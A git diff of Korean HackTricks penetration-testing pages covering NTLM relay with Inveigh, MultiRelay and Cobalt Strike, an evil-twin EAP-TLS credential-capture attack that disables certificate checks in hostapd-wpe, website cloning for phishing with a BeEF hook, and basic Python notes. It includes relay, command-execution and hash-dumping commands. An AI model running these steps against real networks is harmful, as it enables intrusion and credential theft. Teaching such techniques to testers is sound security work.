||||
|
||||
Inveigh는 Windows 시스템을 위해 설계된 펜테스트 및 레드팀 도구입니다. Responder와 유사한 스푸핑 및 중간자 공격 기능을 제공합니다. 이 도구는 PowerShell 스크립트에서 C# 이진 파일로 진화했으며, 주요 버전으로 [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh)와 [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)가 있습니다. 자세한 매개변수 및 지침은 [**위키**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters)에서 찾을 수 있습니다.
|
||||
Inveigh는 Windows 시스템용으로 설계된 펜 테스터 및 레드 팀을 위한 도구입니다. Responder와 유사한 기능을 제공하며 스푸핑 및 중간자 공격을 수행합니다. 이 도구는 PowerShell 스크립트에서 C# 이진 파일로 진화했으며, 주요 버전으로 [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) 및 [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)가 있습니다. 자세한 매개변수 및 지침은 [**위키**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters)에서 찾을 수 있습니다.
|
||||
|
||||
Inveigh는 PowerShell을 통해 작동할 수 있습니다:
|
||||
```powershell
|
||||
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
|
||||
```
|
||||
또는 C# 이진 파일로 실행될 수 있습니다:
|
||||
또는 C# 이진 파일로 실행됩니다:
|
||||
```bash
|
||||
Inveigh.exe
|
||||
```
|
||||
### NTLM Relay Attack
|
||||
### NTLM 릴레이 공격
|
||||
|
||||
이 공격은 SMB 인증 세션을 활용하여 대상 컴퓨터에 액세스하여 성공 시 시스템 쉘을 얻습니다. 주요 전제 조건은 다음과 같습니다:
|
||||
- 인증하는 사용자는 중계된 호스트에서 로컬 관리자 액세스를 가져야 합니다.
|
||||
이 공격은 SMB 인증 세션을 활용하여 대상 컴퓨터에 액세스하여 성공하면 시스템 쉘을 부여합니다. 주요 전제 조건은 다음과 같습니다:
|
||||
- 인증하는 사용자는 중골 관리자 액세스 권한이 있어야 합니다.
|
||||
- SMB 서명이 비활성화되어 있어야 합니다.
|
||||
|
||||
#### 445 포트 포워딩 및 터널링
|
||||
|
||||
직접적인 네트워크 연결이 불가능한 경우, 445 포트의 트래픽을 포워딩하고 터널링해야 합니다. [**PortBender**](https://github.com/praetorian-inc/PortBender)와 같은 도구를 사용하여 포트 445의 트래픽을 다른 포트로 리디렉션하는 것이 필요합니다. 이는 로컬 관리자 액세스가 드라이버 로딩에 사용 가능한 경우 필수적입니다.
|
||||
직접적인 네트워크 연결이 불가능한 시나리오에서는 포트 445의 트래픽을 전달하고 터널링해야 합니다. [**PortBender**](https://github.com/praetorian-inc/PortBender)와 같은 도구는 포트 445 트래픽을 다른 포트로 리디렉션하는 데 도움이 되며, 이는 로컬 관리자 액세스가 드라이버 로딩에 사용 가능한 경우 필수적입니다.
|
||||
|
||||
Cobalt Strike에서 PortBender 설정 및 운영:
|
||||
Cobalt Strike에서 PortBender 설정 및 작동:
|
||||
```bash
|
||||
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
|
||||
|
||||
|
@ -92,17 +93,17 @@ beacon> jobkill 0
|
|||
beacon> rportfwd stop 8445
|
||||
beacon> socks stop
|
||||
```
|
||||
### NTLM Relay 공격을 위한 다른 도구들
|
||||
### NTLM 릴레이 공격을 위한 다른 도구
|
||||
|
||||
- **Metasploit**: 프록시, 로컬 및 원격 호스트 세부 정보로 설정합니다.
|
||||
- **smbrelayx**: SMB 세션을 릴레이하고 명령을 실행하거나 백도어를 배포하기 위한 Python 스크립트입니다.
|
||||
- **MultiRelay**: 특정 사용자 또는 모든 사용자에 대한 릴레이, 명령 실행 또는 해시 덤프를 위한 Responder 스위트의 도구입니다.
|
||||
- **smbrelayx**: SMB 세션을 릴레이하고 명령을 실행하거나 백도어를 배포하는 Python 스크립트입니다.
|
||||
- **MultiRelay**: 특정 사용자 또는 모든 사용자를 릴레이하고 명령을 실행하거나 해시를 덤프하는 Responder 스위트의 도구입니다.
|
||||
|
||||
각 도구는 필요한 경우 SOCKS 프록시를 통해 작동하도록 구성할 수 있으므로 간접적인 네트워크 액세스로도 공격이 가능합니다.
|
||||
각 도구는 필요한 경우 SOCKS 프록시를 통해 작동하도록 구성할 수 있어 간접적인 네트워크 액세스로도 공격을 수행할 수 있습니다.
|
||||
|
||||
### MultiRelay 작동
|
||||
|
||||
MultiRelay는 _**/usr/share/responder/tools**_ 디렉토리에서 실행되며, 특정 IP 또는 사용자를 대상으로 합니다.
|
||||
MultiRelay는 _**/usr/share/responder/tools**_ 디렉토리에서 실행되며 특정 IP 또는 사용자를 대상으로 합니다.
|
||||
```bash
|
||||
python MultiRelay.py -t <IP target> -u ALL # Relay all users
|
||||
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
|
||||
|
@ -110,11 +111,11 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
|
|||
|
||||
# Proxychains for routing traffic
|
||||
```
|
||||
이러한 도구와 기술은 다양한 네트워크 환경에서 NTLM Relay 공격을 수행하기 위한 포괄적인 세트를 형성합니다.
|
||||
### NTLM Relay 공격을 수행하기 위한 포괄적인 세트를 형성하는 이러한 도구와 기술들이 있습니다.
|
||||
|
||||
### NTLM 로그인 강제
|
||||
|
||||
Windows에서는 특정 권한이 있는 계정을 임의의 기기에 인증하도록 **강제할 수 있을 수도 있습니다**. 다음 페이지를 읽어보고 이에 대해 자세히 알아보세요:
|
||||
Windows에서 **일부 특권 계정을 임의의 기기에 인증하도록 강제할 수 있을 수 있습니다**. 다음 페이지를 읽어보고 방법을 배우세요:
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %}
|
||||
[printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
|
||||
|
@ -128,16 +129,17 @@ Windows에서는 특정 권한이 있는 계정을 임의의 기기에 인증하
|
|||
* [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,73 +1,78 @@
|
|||
# 이블 트윈 EAP-TLS
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 **PR을 제출**하여 여러분의 해킹 기법을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**버그 바운티 팁**: 해커들이 만든 프리미엄 버그 바운티 플랫폼인 **Intigriti**에 **가입**하세요! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 가입하고 최대 **$100,000**의 바운티를 받으세요!
|
||||
**버그 바운티 팁**: **Intigriti**에 가입하여 해커들이 만든 프리미엄 **버그 바운티 플랫폼**에 참여하세요! [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 오늘 가입하고 최대 **$100,000**의 바운티를 받아보세요!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
어느 순간에는 아래 게시물에서 제안된 솔루션을 사용해야 했지만 [https://github.com/OpenSecurityResearch/hostapd-wpe](https://github.com/OpenSecurityResearch/hostapd-wpe)의 단계는 최신 칼리(2019v3)에서 작동하지 않았습니다.\
|
||||
어느 순간 [https://github.com/OpenSecurityResearch/hostapd-wpe](https://github.com/OpenSecurityResearch/hostapd-wpe)의 단계가 현대적인 칼리(2019v3)에서 작동하지 않아 제안된 솔루션을 사용해야 했습니다.\
|
||||
어쨌든, 이를 작동시키는 것은 쉽습니다.\
|
||||
여기에서 hostapd-2.6을 다운로드하면 됩니다: [https://w1.fi/releases/](https://w1.fi/releases/) 그리고 hostapd-wpe를 다시 컴파일하기 전에 `apt-get install libssl1.0-dev`를 설치하세요.
|
||||
여기서 호스타프드-2.6를 다운로드하고 다시 호스타프드-wpe를 컴파일하기 전에 `apt-get install libssl1.0-dev`를 설치하면 됩니다.
|
||||
|
||||
### 무선 네트워크에서 EAP-TLS 분석 및 악용
|
||||
|
||||
#### 배경: 무선 네트워크에서의 EAP-TLS
|
||||
#### 배경: 무선 네트워크에서 EAP-TLS
|
||||
EAP-TLS는 인증서를 사용하여 클라이언트와 서버 간 상호 인증을 제공하는 보안 프로토콜입니다. 클라이언트와 서버가 서로의 인증서를 인증하는 경우에만 연결이 설정됩니다.
|
||||
|
||||
#### 마주친 도전 과제
|
||||
평가 중에 `hostapd-wpe` 도구를 사용할 때 흥미로운 오류가 발생했습니다. 도구가 클라이언트의 연결을 거부했는데, 이는 클라이언트의 인증서가 알 수 없는 인증 기관(CA)에 의해 서명되었기 때문입니다. 이는 클라이언트가 가짜 서버의 인증서를 신뢰했다는 것을 나타내며, 클라이언트 측의 보안 구성이 느슨하다는 것을 의미합니다.
|
||||
#### 진행 중인 도전
|
||||
평가 중에 `hostapd-wpe` 도구를 사용할 때 흥미로운 오류가 발생했습니다. 도구는 클라이언트의 연결을 거부했는데, 이는 클라이언트의 인증서가 알 수 없는 인증 기관(CA)에 의해 서명되었기 때문이었습니다. 이는 클라이언트가 가짜 서버의 인증서를 신뢰했다는 것을 나타내며, 클라이언트 측의 느슨한 보안 구성을 가리킵니다.
|
||||
|
||||
#### 목표: Man-in-the-Middle (MiTM) 공격 설정
|
||||
목표는 도구를 수정하여 모든 클라이언트 인증서를 허용하도록 하는 것이었습니다. 이를 통해 악의적인 무선 네트워크와의 연결을 설정하고 MiTM 공격을 수행하여 일반 텍스트 자격 증명이나 기타 민감한 데이터를 포착할 수 있게 됩니다.
|
||||
#### 목표: 중간자 공격(MiTM) 설정
|
||||
목표는 도구를 수정하여 모든 클라이언트 인증서를 허용하도록 하는 것이었습니다. 이를 통해 악의적인 무선 네트워크와의 연결을 설정하고 MiTM 공격을 가능하게 하여 일반 텍스트 자격 증명이나 기타 민감한 데이터를 포착할 수 있게 됩니다.
|
||||
|
||||
#### 솔루션: `hostapd-wpe` 수정
|
||||
`hostapd-wpe`의 소스 코드 분석 결과, 클라이언트 인증서 유효성 검사는 OpenSSL 함수 `SSL_set_verify`의 매개변수(`verify_peer`)에 의해 제어되었습니다. 이 매개변수의 값을 1(검증)에서 0(검증하지 않음)으로 변경함으로써 도구가 모든 클라이언트 인증서를 허용하도록 만들 수 있었습니다.
|
||||
#### 해결책: `hostapd-wpe` 수정
|
||||
`hostapd-wpe`의 소스 코드 분석 결과, 클라이언트 인증서 유효성 검사는 OpenSSL 함수 `SSL_set_verify`의 매개변수(`verify_peer`)에 의해 제어되었습니다. 이 매개변수의 값을 1(유효성 검사)에서 0(유효성 검사 안 함)으로 변경함으로써 도구가 모든 클라이언트 인증서를 허용하도록 만들었습니다.
|
||||
|
||||
#### 공격 실행
|
||||
1. **환경 확인:** `airodump-ng`를 사용하여 무선 네트워크를 모니터링하고 대상을 식별합니다.
|
||||
2. **가짜 AP 설정:** 수정된 `hostapd-wpe`를 실행하여 대상 네트워크를 모방하는 가짜 액세스 포인트(AP)를 생성합니다.
|
||||
3. **캡티브 포털 사용자 정의:** 캡티브 포털의 로그인 페이지를 신뢰할 수 있고 대상 사용자에게 익숙한 것처럼 사용자 정의합니다.
|
||||
4. **De-authentication 공격:** 선택적으로, 클라이언트를 정상 네트워크에서 연결 해제하고 가짜 AP에 연결합니다.
|
||||
2. **가짜 AP 설정:** 수정된 `hostapd-wpe`를 실행하여 대상 네트워크를 흉내 내는 가짜 액세스 포인트(AP)를 생성합니다.
|
||||
3. **캡티브 포털 사용자 정의:** 캡티브 포털의 로그인 페이지를 사용자에게 합법적이고 익숙하게 보이도록 사용자 정의합니다.
|
||||
4. **De-authentication 공격:** 선택적으로, 클라이언트를 정상 네트워크에서 분리하고 가짜 AP에 연결하도록 de-auth 공격을 수행합니다.
|
||||
5. **자격 증명 포착:** 클라이언트가 가짜 AP에 연결하고 캡티브 포털과 상호 작용할 때 자격 증명이 포착됩니다.
|
||||
|
||||
#### 공격으로부터의 관찰
|
||||
#### 공격 관찰
|
||||
- Windows 기기에서는 웹 탐색을 시도할 때 가짜 AP에 자동으로 연결되어 캡티브 포털이 표시될 수 있습니다.
|
||||
- iPhone에서는 사용자에게 새 인증서를 수락하도록 요청한 다음 캡티브 포털이 표시될 수 있습니다.
|
||||
- iPhone에서는 사용자가 새 인증서를 수락하도록 요청받은 후 캡티브 포털이 표시될 수 있습니다.
|
||||
|
||||
#### 결론
|
||||
EAP-TLS는 안전하다고 여겨지지만, 올바른 구성과 조심스러운 사용자 행동에 매우 의존합니다. 잘못 구성된 장치나 의심하지 않는 사용자가 위조 인증서를 수락할 경우 EAP-TLS로 보호된 네트워크의 보안이 약화될 수 있습니다.
|
||||
EAP-TLS는 안전하다고 여겨지지만, 올바른 구성 및 조심스러운 사용자 행동에 매우 의존합니다. 잘못 구성된 장치나 의심스러운 사용자가 위조 인증서를 수락하는 경우 EAP-TLS로 보호된 네트워크의 보안이 약화될 수 있습니다.
|
||||
|
||||
자세한 내용은 [https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/](https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/)를 참조하세요.
|
||||
자세한 내용은 https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/에서 확인하세요.
|
||||
|
||||
## 참고 자료
|
||||
* [https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/](https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/)
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**버그 바운티 팁**: 해커들이 만든 프리미엄 버그 바운티 플랫폼인 **Intigriti**에 **가입**하세요! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 가입하고 최대 **$100,000**의 바운티를 받으세요!
|
||||
**버그 바운티 팁**: **Intigriti**에 가입하여 해커들이 만든 프리미엄 **버그 바운티 플랫폼**에 참여하세요! [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 오늘 가입하고 최대 **$100,000**의 바운티를 받아보세요!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹을 배우고 실습하세요: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹을 배우고 실습하세요: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웨이에로까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -18,7 +19,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
|
||||
|
||||
피싱 평가를 위해 때로는 완전히 **웹사이트를 복제**하는 것이 유용할 수 있습니다.
|
||||
피싱 평가를 위해 때로는 웹사이트를 완전히 **복제(clone)**하는 것이 유용할 수 있습니다.
|
||||
|
||||
클론된 웹사이트에 BeEF 후크와 같은 페이로드를 추가하여 사용자의 탭을 "제어"할 수도 있습니다.
|
||||
|
||||
|
@ -41,17 +42,17 @@ goclone <url>
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>영웨이 에이더블유에스 해킹을 제로부터 히어로로 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# 기본 Python
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우고 실습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 실습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 제출**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 가입하거나 [**텔레그램 그룹**](https://t.me/peass) 참여 또는 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 팔로우하기**.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 요령 공유하기.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Python 기초
|
||||
|
||||
### 유용한 정보
|
||||
|
||||
list(xrange()) == range() --> 파이썬 3에서 range는 파이썬 2의 xrange와 동일합니다(리스트가 아닌 생성기입니다).\
|
||||
튜플과 리스트의 차이점은 튜플의 값 위치가 의미를 가지지만, 리스트는 순서가 있는 값들입니다. 튜플은 구조를 가지지만, 리스트는 순서를 가지고 있습니다.
|
||||
list(xrange()) == range() --> Python3에서 range는 Python2의 xrange와 같음 (리스트가 아닌 제너레이터)\
|
||||
튜플과 리스트의 차이점은 튜플에서 값의 위치가 의미를 갖지만 리스트는 순서가 있는 값들뿐임. 튜플은 구조를 가지지만 리스트는 순서를 가짐.
|
||||
|
||||
### 주요 작업
|
||||
|
||||
숫자를 제곱하려면: 3\*\*2 (3^2가 아님)\
|
||||
2/3을 하면 1이 반환됩니다. 왜냐하면 두 개의 정수를 나누기 때문입니다. 소수점을 원한다면 실수로 나누어야 합니다 (2.0/3.0).\
|
||||
